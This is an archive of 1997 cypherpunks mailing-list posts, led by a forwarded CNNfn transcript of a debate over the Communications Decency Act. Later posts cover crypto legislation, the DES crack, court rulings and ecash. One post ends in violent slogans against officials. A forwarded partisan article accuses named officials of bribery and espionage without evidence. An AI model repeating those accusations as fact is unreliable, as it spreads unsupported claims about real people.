Message-ID: <Pine.GSO.3.95.970620192715.18457M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 22:16:38 -0400
From: Marc Rotenberg <rotenberg@epic.org>
To: fight-censorship@vorlon.mit.edu



I'm not looking for any awards, but I thought this

debate with Cathy Cleaver went very well. As I said

earlier, she doesn't expect to win next week.


Marc.


----------


<fontfamily><param>Geneva</param><bigger>                              
      CNNFN


                       SHOW: IT'S ONLY MONEY 13:00 pm ET


                   June 20, 1997; Friday 1:17 pm Eastern Time


                          Transcript # 97062002FN-l05


HEADLINE:  Panel Discussion on Internet Pornography Law


GUESTS:  Cathy Cleaver, Bruce Fancher, Marc Rotenberg


BYLINE:  Valerie Morris


BODY:


    VALERIE MORRIS, CNNfn ANCHOR, IT'S ONLY MONEY: The Supreme Court is
expected to rule on the constitutionality of the Communications Decency
Act, better known as the CDA, sometime next week.  Now, whatever the
outcome, the CDA will set the precedent for all future laws involving
any censoring of material on the Internet. The past year's debate over
the CDA has divided net users into distinct camps of - on issues of
cyber censorship.


    I'm joined today by some important members of those opposing camps,
first of all from our bureau in Washington, Marc Rotenberg, who is
director of the Electronic Privacy Information Center.  Marc was a
counsel in challenging the CDA.  And from our bureau in Los Angeles,
Cathy Cleaver, director of legal policy with the Family Research
Council - Cathy co-authored a brief on behalf of members of Congress in
defense of the CDA.  And with me here in our New York studio is our
Generation-X representative on the issue, Bruce Fancher.  Formerly a
computer hacker, now an entreprenuer, Bruce is the president of Online
Evolution Systems.  He is also the co- founder of Digital Liberty,
which is an online civil rights advocacy group.  To all of you,
welcome.  


    CATHY CLEAVER, DIRECTOR, FAMILY RESEARCH COUNCIL: Thank you.


    MORRIS: I'd like to start out - Cathy, could you please outline
what the CDA proposes?


    CLEAVER: What the CDA does is make it a crime to knowingly send
indecent material or pornography to known minors and also makes it a
crime to knowingly make it available to minors without taking good
faith steps to try to screen minors out, a very reasonable law, no
censorship involved.  We like that word "censorship." But it's very
similar to other laws restricting adults from selling, giving or
showing pornography to children in other media.


    MORRIS: OK.


    Marc, what's EPIC's response, and what is the challenge with regard
to the CDA from your perspective?


    MARC ROTENBERG, DIRECTOR, EPIC: Well, EPIC and the American Civil
Liberties Union challenged the constitutionality of the bill, and so
far, we've been successful in our litigation.  We've had 2 panels of
judges in New York and Philadelphia that have agreed with us
unanimously that, contrary to what Cathy says, the bill was poorly
drafted.  It sweeps much too broadly.  It tries to prohibit access to
information that the First Amendment has always protected. 


    MORRIS: All right.


    And now to Bruce, who is here in the studio with me, what's your
stance with regard to the issue?


    BRUCE FANCHER, PRESIDENT, EVOLUTION ONLINE SYSTEMS: My stance is
that, while I think the law is clearly ridiculous and unconstitutional,
I'm inclined to see it a little bit like the British tax on tea in
1776.  So in some sense I hope it is upheld because, sooner or later,
the government is going to try to regulate in Internet and we need to
start developing tools now to make that difficult or impossible,
including moving some of these operations offshore.


    MORRIS: I'm now going to try and facilitate this with all 3 of you
jumping in as you see fit.  I would like to ask Bruce, though, a
follow- up question. 


    Do you see any business related activity on the net being impacted
dramatically by the CDA?


    FANCHER: Well, my business could potentially be impacted.  We run a
discussion group which is open to anyone who wants to join, and that's
about 10,000 people on it.  And we don't have any control of what the
people say.  So we're vulnerable in that way.


    MORRIS: Cathy, is indecency out of control on the Internet in your
opinion? 


    CLEAVER: Well, we know that people online that sell pornography,
for instance, is the fastest growing online marketing right now. It's
impossible now to predict what exactly would happen if the CDA were
upheld, but let me tell you, you know, when the CDA was first
presented, online pornographers started checking their material.  They
started screening for children, but then when they won their first
round in the courts, as Eric mentioned, they went back to showing free
pictures of pornography to anyone who came to the site.  So, yes, I
think it should affect business.  Pornography is a booming business
online, but it shouldn't affect the adult's ability to get pornography,
but only children's ability to get pornography, which is what indecency
laws have done for 30 years. 


    MORRIS: Marc, there are regulations for television, regulations for
radio. How is the Internet different?  


   ROTENBERG: Well, the Internet is very different from television and
radio.  There is no central licensing.  There is no government review
or authority.  The Internet is much more like a series of
interconnected bookstores or newsstands or libraries, and to understand
just how sweeping the CDA could be in its application, it would
effectively restrict the ability to anyone to publish information on
the Internet, which is why, you know quite frankly, I think the Supreme
Court, when it rules next week, will say no, you can't legislate in
this manner.  


    CLEAVER: That is truly ridiculous I think, because, listen, we've
got indecency laws that effect all of those areas that he just
mentioned.  So the question.


    ROTENBERG: Cathy, to what (OFF-MIKE)


    CLEAVER: .really is -- the question is just: Should we provide an
exemption in cyberspace to Larry Flint?  Should he be able to sell his
magazines to 12 year olds online?  We, as a society, say no, you can't
do that over the - in a bookstore and you can't rent or sell x- rated
videos to kids in a video stores. Should pornographers have a carte
blanche in cyperspace?  It makes no sense. And the Constitution doesn't
require that.


    Look, free speech is not an absolute right.  We all know that. 
Adults are not able to exploit children by selling them or giving
pornography anywhere, and they should be able to, and I believe they
won't be able to do that on the Internet.


    MORRIS: The CD.


    ROTENBERG: Valerie.


    MORRIS: Yes?


    ROTENBERG: .if I could ask a question here.


    MORRIS: Yes, you can.


    ROTENBERG: Cathy, how do you think the Supreme Court is going to
rule next week?  I mean, let's just - let's be blunt about this.  Are
they going to side with you and say this type of sweeping legislation
is permissible, or are they going to side with the people who have been
trying to defend free speech online and say, no, you can't do this in
this country, you can't try to impose such draconian legislation and
controls on what other people may see even if you happen to disagree
with it?


    MORRIS: I'm going to ask you both to hold.


    Cathy, I will start with your answer when we come back.  We do need
to take a break right now.  Don't go away.  We will be back with more
on IT'S ONLY MONEY with more on the Communication Decency Act, and when
we return, we'll open up the phones for your questions, the number,
1-800-304-fnet.  Back in a moment. 


    VALERIE MORRIS, CNNfn ANCHOR, IT'S ONLY MONEY: We are talking about
the Communications Decency Act with Marc Rotenberg who is Director of
Electronic Privacy Information Center and in opposition to the CDA,
Cathy Cleaver who is Director of Legal Policy for the Family Research
Council and a supporter of the CDA, and Bruce Fancher, an entrepreneur,
founder of Evolution Online Systems.  He believes the Internet should
be completely unregulated. 


    We will be taking your calls.  The number 1-800-304-FNET.


    As we went to break, Cathy, you had been asked a question by Marc,
how do you think the Supreme Court will rule?  Please give us your
answer.   


    CATHY CLEAVER, DIRECTOR, FAMILY RESEARCH COUNCIL: Well, one of the
challenges, of course, is to the indecency standard itself, and we can
look to just last year when the Supreme Court upheld the indecency
standard as a constitutional standard, not overly broad and not vague. 
You know, the decency standard means a patently offensive depiction of
sexual or excretory activities. So, it's not a vague challenge.  So, I
think that's a definite win.  I find it difficult to see how the
Supreme Court would reverse itself, since just last year in the cable
pornography case, it upheld indecency regulation using that standard
for cable.  But also, remember, this law has a lot of good faith
defense that people can use to show pornography to adults but also make
attempts to keep it from children.  That's all the law's ever
required.


    MORRIS: But there are a couple of things-the CDA's being challenged
on a couple of bases.  One is because some say that it's too broad. 
The other is a standard of decency is unconstitutional, and I think
those are the concerns, Bruce, some of which you had an opinion with
regard to how the Supreme Court is going to rule.  And you say it's
because of the unconstitutional issue? 


    GBRUCE FANCHER, PRESIDENT, EVOLUTION ONLINE SYSTEMS: Well, I'm not
a lawyer, but from what I've read, it seems to me-my opinion will rule
that it's unconstitutional.  But I'm much less concerned with placing
faith in the political process to protect the Internet than with
developing tools which we can use to effectively protect our privacy
and our right to communicate and engage in trade on the Internet,
regardless of what the government decides to do.


    MORRIS: Because those are also issues.  I mean, we sometimes get
stuck on this one, but the CDA also covers surveillance, encryption and
consumer privacy. But the most immediate concern tends to be this free
speech issue in Cyberspace. 


    CLEAVER: If I can just jump in, the CDA protects privacy in
Cyberspace.  So, that's how it addresses privacy.  It upholds and
refers to EPIC's privacy provision that it got it in.


    MORRIS: Mark, do you agree?


    MARC ROTENBERG, DIRECTOR, EPIC: I don't know what Cathy's talking
about. We didn't have anything to do with the drafting of the bill. 
It's bad for privacy.  But let me just say in response to Bruce, while
I'm aware of his concerns and I think there should be good techniques
to protect privacy and liberty online, I have not given up on the
American political system.  I feel very strongly about our
constitutional form of government, and the first amendment in
particular.  And I think next week will in fact be a great victory for
our system of government.  We will preserve liberty in the online
world. 


    MORRIS: All right, we have a caller, Darren, from Canada, thanks
for joining us. What's your question or comment?


    CALLER: Yes, basically I'm just wondering how this all will be
enforced. 


    MORRIS: All right, who would like to take that on?  How will the
law be enforced?


    CLEAVER: I can take that.  Just like other laws are enforced, where
first of all, we would require or rely upon, you know, self regulation,
that's what happens now with video stores and magazine stores.  We
require the clerks to abide by the law.  And when they don't, then when
they run afoul of the law, then prosecutors can, you know, bring an
action against them and an investigation.  You know, it's not going to
be like some have suggested that there's going to be some government
Cyberpolice or some sort of government pre-screening of information of
all of that which suggests great privacy violations.  The law doesn't
do that.  This is kind of like Chicken Little.  You know, the sky is
going to fall if the CDA is upheld.  That's just nonsense. 


    MORRIS: But what it does to and part of the concern is what about
the liability?  Who is going to be liable?  Marc, can you take that
on?


    ROTENBERG: Yes, well, the liability issue here is actually key. 
You asked the question at the outset, what is the impact on business? 
The impact would be enormous for anyone who's trying to use the
Internet to get information out. 


    CLEAVER: Only pornographers.


    ROTENBERG: That's not true, and you know that's not true.


    CLEAVER: That is true.


    ROTENBERG: People engaging in speech, operating chat rooms,
discussion groups.


    CLEAVER: Patently offensive sexual or excretory speech.


    ROTENBERG: Sexual information.  We had people testifying at the
Philadelphia hearing that if they were providing medical information on
breast cancer or to AIDS patients that they faced a risk of prosecution
under the statutes. 


    CLEAVER: That's just not true.  The indecency definition has never
been applied in that way.  It's never been applied in that way.


    ROTENBERG: The judges who have looked at the CDA heard our
arguments, heard your arguments, have rejected your arguments.  They
don't agree with you, Cathy. 


    CLEAVER: Well those judges didn't.


    ROTENBERG: And I think it's important to keep that in mind.  We are
going to win next week in the Supreme Court.


    MORRIS: I would like to inject something here, and ask Bruce, with
regard to your business, will the CDA have direct impact on your
business, and especially because you still have online chat rooms?  I
mean, do you see that as a potential area where you could be held
liable?


    FANCHER: That's really something that I've been concerned about.  I
haven't consulted a lawyer specifically, but I'm definitely concerned
about it. 


    MORRIS: OK, we have another caller, Christian, from New York. 
Thanks for joining us.  What's your question?


    CALLER: Hi, my question is as follows: How can we regulate the
world?  As we know, the Internet is not only one organization located
in the United States. But it's all over the world.  How can we impose
laws to the entire world.  We can't do that.


    FANCHER: That's a very good point, what affect the CDA will have if
it's upheld is it will advance the process which is going to eventually
happen anyway of moving any kind of Internet service or activities
which might be slightly illicit or simply where the proprietors want to
avoid taxation or regulation to other parts of the world, specifically
places like the Caiman Islands, the Bahamas, Anguilla.  It does not
take a lot of resources to run copper wire to a Caribbean island and
operate an Internet server there.  And I'm looking forward to the day
when that's more common.


    ROTENBERG: Bruce, let me say, I'm not looking forward to that day. 
I think the Internet offers wonderful opportunities for American
business and American citizens and American consumers, and the thought
that we would want a law to pass which would effectively move all of
this activity offshore doesn't seem to me to be something that many
people would be in favor of.


    FANCHER: Well, only the servers have to be offshore.  The people
behind the information can remain in the United States.  As you know,
using encryption, that's perfectly feasible.


    MORRIS: And what about the penalties?  Let's get to that. If the
CDA is upheld by the Supreme Court, what kind of penalties are people
facing?  Are these felonies?


    ROTENBERG: Well, these are criminal sanctions.  I mean, which
includes both fines and the risk of imprisonment.  And one of the other
great concerns that arises when you try to punish people for speech is
always the question how are these decisions going to be made?  What
type of speech is going to trigger, you know-one type of publication
ends you up in jail for 3 years, and another type of publication isn't
prosecuted.  There's always a problem with prosecuting people based on
what they say or what they print.


    MORRIS: I'm going to ask each of you in the last moments that we
have- we have about 20 seconds each to wrap up your point of view.  Can
I start, Cathy, we started with you.  Let's begin this wrap-up with
you.


    CLEAVER: Sure.  The idea that Cyberspace is going to be exempt from
any laws, I think, is just nonsense.  We know that to be the case.  If
Cyberspace, if the Internet is going to survive as a marketing forum
which most of the people want it to be, there are going to have to be
some rules and regulations, some laws against fraud, some laws against
exploitation.  There are laws now against child pornography.  You know,
these are important.  It's important to build this new community in
such a way that we can actually operate with each other as we do with
an amount of trust and an amount of responsibility imposed by laws.
It's just-it's inevitable.  It's going to happen.


    MORRIS: Cathy Cleaver from-the Director of Legal Policy for Family
Research Council.  Thank you very much for adding to today's
conversation.


    CLEAVER: You're welcome.


    MORRIS: And, Bruce, your comment for a wrap-up.


    FANCHER: Well, I'd like to say to Cathy that 25 years ago the idea
of 100 million personal computers sounded like nonsense.  And 5 years
ago the idea of 40 or 50 million people connected to the Internet
sounded like nonsense.  So, I'd be very careful before making
statements like that.  And I would like to say that I still believe in
the U.S. Constitution, but I believe we need

technological solutions to back it up.


    MORRIS: All right, Bruce Fancher, thank you very much for being
with us. And then the final word, Marc Rotenberg, Director, Electronic
Privacy Information Center.


    ROTENBERG: Well, Valerie, I'm looking forward to next week.  The
Supreme Court is going to rule on a very important case, affecting the
freedom and the future of the Internet.  And it is my hope and my
belief that they're going to take one of the principles that this
country was founded on, a right of individuals to express their views,
even when others may disagree strongly, and protect that right.  It was
established in the 18th century, and I'm hopeful that it will remain
with us in the 21st.  


MORRIS: Marc Rotenberg, Director, Electronic Privacy Information
Center.  Thank you to all three of you.  I hope that we can revisit
this issue if not next week, in the very near future.  Thank you all
very much.



    END


LANGUAGE: ENGLISH


LOAD-DATE: June 20, 1997 



</bigger></fontfamily>




==================================================================

Marc Rotenberg, director                *   +1 202 544 9240 (tel)

Electronic Privacy Information Center   *   +1 202 547 5482 (fax)

666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org

Washington, DC 20003   USA              +   http://www.epic.org

==================================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 21 Jun 1997 07:41:49 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970620192332.25500A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Perhaps there is more reason to be worried than Anonymous lets on.

This afternoon I stopped by the office of a Congressional staffer who
will, appropriately, remain anonymous. This person knows crypto, follows
it, even truly believes in it. But they were pessimistic about any good,
or even half-decent, crypto legislation leaving the Congress. Which
committee will insert it? And what good crypto legislation would pass a
presidential veto? 

DC crypto-lobbyists should have seen this coming. Instead of lifting
export controls -- or even leaving intact the status quo -- Congress is
about to make things worse.

Perhaps cypherpunks should turn crypto-rejectionist.

-Declan


On Sat, 21 Jun 1997, Anonymous wrote:

> Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
> got to go through at least one and possibly two more committees before
> it reaches the senate floor, where we'll have another chance to defeat it.
> 
> Even then the house has to pass similar legislation.  That will be yet another
> chance.
> 
> When Clipper was proposed, a wave of anger and opposition swept forth.
> The same thing needs to happen now.  This fatalism is self defeating.
> 
> Either you're part of the solution or you're part of the problem.  People who
> say there's no use fighting, who give up, who oppose the efforts of the
> crypto lobbying groups in the name of ideological purity, are not part of
> the solution.  They have no right to complain if this law passes.  By
> sitting aside and carping at the efforts of those who are trying to stop this
> kind of legislation, they are only helping to bring it about.
> 
> There is no reason this new bill should be any more acceptable or more
> successful than Clipper was.  We only have to fight it.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 21 Jun 1997 10:29:05 +0800
To: cypherpunks@toad.com
Subject: Re: Mail server down :(
In-Reply-To: <199706201713.MAA01206@mailhub.amaranth.com>
Message-ID: <FRFm9D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> My ISP is in the process of switching backbone providers

To AGIS, I hope.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 11:03:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <v03102817afd0f24d4292@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:22 PM -0700 6/20/97, John W. Noerenberg wrote:

>Even if it makes it thru Congress, perhaps it can be challenged by the
>courts because of possible 4th amendent abuses.
>
>Lots of opportunity to sink it.
>
>Sure this is a lousy turn of events, but it's only 1 battle.  It isn't even
>close to the end of the war.

Hey, hey, hey! None of us who have called it "war" have said it was "the
end of the war."

It's the firing shot in the "hot war," if it passes. The "cold war" has
been underway for more than 4 years.

The CDA was a warning shot, this is the bombing of Pearl Harbor.

They will be sent to meet the fate they have earned.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "ET" <emergent@eval-apply.com>
Date: Sat, 21 Jun 1997 08:16:47 +0800
To: <cypherpunks@toad.com>
Subject: Garbled in transmission.
Message-ID: <199706210004.UAA26052@jazz.cape.com>
MIME-Version: 1.0
Content-Type: text/plain



I caught the Headline News mention of the DES crack and it
unfortunately put the wrong spin on things.

I can't remember it word for word, but it went like this:
"If you're going to decrypt financial transactions you'd better
be prepared to get 1000 computers and spend 3 months on
the project."

The report was delivered with a hint of a smile, as if to suggest
that the time and resources might have been better spent.

*Sigh*






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 21 Jun 1997 10:12:08 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970620201129.00699bd8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:00 AM 6/20/97 -0700, Alan wrote:
>I sometimes think that Oregon is being used as a beta test for some of the
>more draconian laws due for the rest of the country.

That's what happens when you live in places settled by those "Scandahuvians." 
 They're real control freaks.  And they attract other control freaks.

>An example is the new law waiting to be signed by the Govenor.  It would
>expand the reasons a cop can use to detain and search you.  Currently they
>need to have probable cause that you committed a crime.  The new law
>expands that to probible cause that you are about to commit a crime and a
>whole host of things they can detain and question you on.  

As in what?  Since you can (and always should) refuse to answer cop's 
questions (beyond name, rank and serial number) they can ask all they want 
but since they aren't judges they can't order you to say anything much.  
Lying is considered obstruction of justice but silence isn't.  

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6scMIVO4r4sgSPhAQFOPgP/ZXunn9jmDdqZkOW4PuLW9eGCHMJVbUIJ
KbHUfdBzJa7hMgYPJ7r9NQ8Mw+CQhq72LlkHZxel3SmVBmfZnYpLsXHJLS80N+T4
P9Um+lXth+vRcOU3WWrSyGRpuIzjOYS/4nZwTfK5M+qg0w90475iaj0tqUH7zoPl
pBW+NGkStTQ=
=jHcQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Sat, 21 Jun 1997 00:36:28 +0800
To: <cypherpunks@toad.com>
Subject: Fw: Advance Bank launches ecash
Message-ID: <199706201622.UAA05969@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain



Seen this? Another bank braving the Digicash ecash waters:
 ----
From: Edward Breese x1364 <edwardb@executive.advance.com.au>
To: ecash-merchant <ecash-merchant@advance.com.au>
Date: Friday, 20 June 1997 11:50
Subject: Advance Bank launches ecash

>
>Hi everyone,
>
>Thank you for being so patient.  ecash is now available from our web site
>at:  http//www.advance.com.au/ecash
>
>You will find plenty of information to help you set up your ecash purse
and
>configure a web site to accept ecash.  You can  download our latest
Internet
>Banking program (version 6), the ecash purse software and ecash merchant
>software.  You will also find some examples of real merchants who accept
>ecash.
>
>We will be launching a shopping mall in the coming weeks and invite you
to
>become involved either as a user, merchant or systems integrator.
>
>We are also keen to get your feedback so please if you have time fill in
the
>feedback forms on the web.
>
>Have fun setting up your shops,
>
>Thanks, Edward
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 21 Jun 1997 12:00:35 +0800
To: cypherpunks@Algebra.COM
Subject: crypto wars
Message-ID: <199706210347.UAA19293@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



        "There must be some way out of here",
        Said the joker to the thief
        "There's too much confusion --
        I can't get no relief.
        Businessmen, they drink my wine
        Plowmen dig my earth.
        None of them all along the line
        Know what any of it is worth."

        "No reason to get excited",
        the thief he kindly spoke
        "There are many here among us
        Who feel that life is but a joke
        But you and I, we've been through that,
        and this is not our fate
        So let us not speak falsely now
        The hour is getting late."
                       
        All along the watchtower
        Princes kept the view
        While the women came and went,
        Barefoot servants, too
        Outside, in the cold distance,
        A wildcat did growl
        Two riders were approaching
        The wind began to howl.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 12:20:26 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <v03102802afd0a943ff87@[10.0.2.15]>
Message-ID: <v03102800afd101d568ca@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:41 PM -0500 6/20/97, Mac Norton wrote:
>On Fri, 20 Jun 1997, Steve Schear wrote:
>
>> >But the rulings differ in important ways. Manhattan's
>> >Judge Preska did not answer whether the New York law
>> >violated the First Amendment, saying she was going to
>> >wait for the U.S. Supreme Court's to rule on the
>> >Communications Decency Act. She said, however, that
>> >she didn't *need to answer* that question to strike
>> >down the law since it violated the U.S. Constitution's
>> >ban on states attempts to regulate commerce outside
>> >their borders.
>>
>> Might this also mean that states attempting to restrict Internet gaming
>> might similarly be restrained?
>
>Not necessarily, and that's ilustrative of one of the problems with this
>decision on Commerce Clause grounds.  Is child porn, like other articles
>of "commerce", generic across state lines, or is it subject to a Miller
>"community standard"?  Same for the "harmful to minors" standard?
>MacN

Seems to me that community standards ahould only be applied when the
violation occurs completely within the confines of the local jurisdiction,
not via requested transmission from another jurisdiction.

--Steve



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 12:23:20 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <3.0.2.32.19970620165723.00756920@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970620210534.00752d60@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:14 PM 6/20/97 -0400, you wrote:
>>Yee-hah!  If you ignore CONgress, we've had a good week, between
>>this court and the New York CDA courts doing the right thing
>>and the DES crack finishing.

>"Yee-ha"?  Is this meant to be a derisive comment?  No money.  No legal 
>training.  Not a lawyer to support us.  What were we to do?  We went to the 
>ACLU and they told us the case had no standing - they couldn't help us with 
>the Georgia law.  We got no better treatment from EFF.

Well, in some places, it's an expression of excitement, and it was intended
as such here.  I guess some things don't translate well to ASCII,
given that you seem to think I was picking on you?

The Georgia law was a bad one, and needed overturning.
I hadn't realized you were running EFGA on that small a scale, 
so I'm even more impressed that you succeeded.  
Similarly, the New York court's decision on the NY version of the CDA
was quite welcome, and the distributed internet project to crack
the DES Challenge key succeeded on the day that the Senate committee
was trying to tell us that 56kbps should be plenty for anybody.
It's been a _Good_Week_!

>This message was not sent to this list - cyberpunks or remailer operators.  
>It was only sent to an internal EFGA list of people who made a claim that 
>they wanted to find out more about EFGA.

It got forwarded to remailer-operators, and was an obvious enough match
with Cypherpunks interests that I copied my reply there as well.
We're interested in privacy and anonymity, and in using cryptography
to build tools that will protect and advance these things.

Good court precedents are important as well; there are other people
in the movement doing lawsuits on the crypto export issues and
on free speech.  

>Yee-ha?  Meet in Underground Atlanta wearing masks?  
>What kind of comments are these?  
OK, so it was a lame attempt at humor, but a decision in favor
of anonymity is a Good Thing, and it seemed to be in character
for getting together to celebrate.

>Are you, like others on this list implying that you can't afford 
>the three dollars or you just don't know how to dial the phone?

It's not the three dollars in parking that's keeping me from joining you
in celebrating; it's the $600 airfare I'd need to get to Atlanta...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sat, 21 Jun 1997 12:38:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: HOT Summer IN White House
Message-ID: <3.0.32.19691231160000.006d1054@best.com>
MIME-Version: 1.0
Content-Type: text/plain



the New Yoahkah just ran a piece on the gfriend-o-Brown.
Quite worth a read.  Most of the first paragraph below seems
sort of lifted from that article.


At 09:42 AM 6/20/97 -0700, Tim May wrote:
>
>
>This item is one of many such articles outlining the corruptions within
>Washington. Some of these corruptions are huge, and go far beyond simple
>pork-barreling. On a level with Watergate, it seems to many of us.
>
>I don't usually forward items from "talk.politics.crypto," as I assume
>many of you are already reading it. But this particular item fits with the
>"Washington as crime capital in more ways than one" them I've been
>hitting.
>
>Look especially for how favors were granted for high tech exports.
>
>--Tim
>
>> From: softwar@us.net (SOFTWAR)
>> Newsgroups:
>talk.politics.crypto,alt.politics.org.nsa,alt.politics.org.fbi,alt.politics
.cia,alt.politics.clinton,alt.politics.datahighway,talk.politics.misc,alt.po
litics.democrats.d,alt.politics.usa.republican
>> Subject: HOT Summer IN White House
>> Date: Fri, 20 Jun 1997 10:35:29 GMT
>
>> 
>> It's going to be a long hot summer for the Clinton
>> administration.
>> 
>> Wednesday night ABC Primetime did a special on Ron Brown's
>> girlfriend.  The accusations  flying around the dead Secretary
>> of Commerce do not bode well for the living inside the Beltway.
>> First, it seems that Ron acquired an offshore bank account with
>> nearly a million dollars deposited for him by the Government of
>> Vietnam.  Vietnam wanted to normalize trade relations with the
>> US and bribing the top dog at Commerce certainly helped grease
>> the skids.  Vietnam got their trade deal but Brown found out
>> that the FBI knew about his bank account.  So he could not touch
>> the money.  The bribery accusation is collaborated by an
>> ex-Vietnamese official who has also turned his evidence over to
>> the FBI.  Mr. Brown's girlfriend plans to testify before both
>> the Senate and the House committees investigating wrongdoing in
>> the Clinton administration.
>> 
>> Another revelation which should come as no shock is that the
>> First Lady put John Huang in the Commerce Department.  This
>> demand apparently did not sit well with Mr. Brown, who,
>> according to his girlfriend, did not like Mrs. Clinton.  It
>> seems that Ron's strong personality ran smack head on into
>> Hillary's demanding attitude.  Yet, he bent over backward and
>> made sure that Huang was hustled into his government position,
>> complete with a secret clearance.  Once Huang entered the
>> Commerce Department strange events really started to pop up.
>> The Commerce Department initially denied Huang had access to
>> anything important. It is now known that Huang attended dozens
>> of secret CIA briefings.  Huang is alleged to have discussed
>> secret materials with his former employers at the Lippo group.
>> The allegations come from material obtained by taps on Huang's
>> Commerce Department telephone.
>> 
>> Can the same be said for Ira Sockowitz?  
>> 
>> No.  Ira Sockowitz was placed into his Commerce position
>> directly and personally by President Clinton.  It was Ira
>> Sockowitz who ran Ron Borwn's airline seating arrangements,
>> between working on government affairs.  Whenever Mr. Brown would
>> fly on a government sponsored trade trip - Ira would line up big
>> Corporate powers to ride along on the party plane.  Mr.
>> Sockowitz had more experience as a DNC fund-raiser than security
>> software.  Despite this lack of technical skills Mr. Sockowitz
>> entered the field of banking security software at Commerce.  It
>> is the Commerce Department which approves or denies export of
>> such financial software.  The amount of money involved, invested
>> and possible returns, are staggering.  Obviously, the
>> push/pull/shove involved in getting such a product approved is
>> no easy task.  Few export licenses have been issued and those
>> who have them are not too anxious for any others to join them.
>> 
>> Just how easy was it to obtain such a privilege?  Not very.  Not
>> even Fortune 500 companies could obtain export rights from the
>> Commerce Department.  Letters from IBM, Motorola, Digital, HP
>> and a host of other billion dollar firms clearly indicate their
>> unsuccessful efforts to obtain Commerce licenses to export their
>> products.
>> 
>> However, letters from certain other companies are covered with
>> redacted notes which the Commerce Department refuses to release.
>> One letter to the Commerce Department in particular was faxed to
>> someone (also redacted) along with a memo on how to obtain a
>> "waiver" for export.  Another set of Sockowitz documents being
>> withheld are a set of hand written notes on a conversation, a
>> three pages fax and two applications for license for export
>> dated 8/11/94.  The Clinton administration will not say who sent
>> the fax nor will they say who Ira Sockowitz talked to.  Yet,
>> clearly the topic was a license to export.  A license that could
>> have been worth billions of dollars.
>> 
>> It's going to be a long hot summer for the Clinton
>> administration.
>> 
>> 1 if by land, 2 if by sea.  Paul Revere - encryption 1775
>> 
>> Charles R. Smith
>> SOFTWAR
>> http://www.us.net/softwar
>> 
>> Pcyphered SIGNATURE:
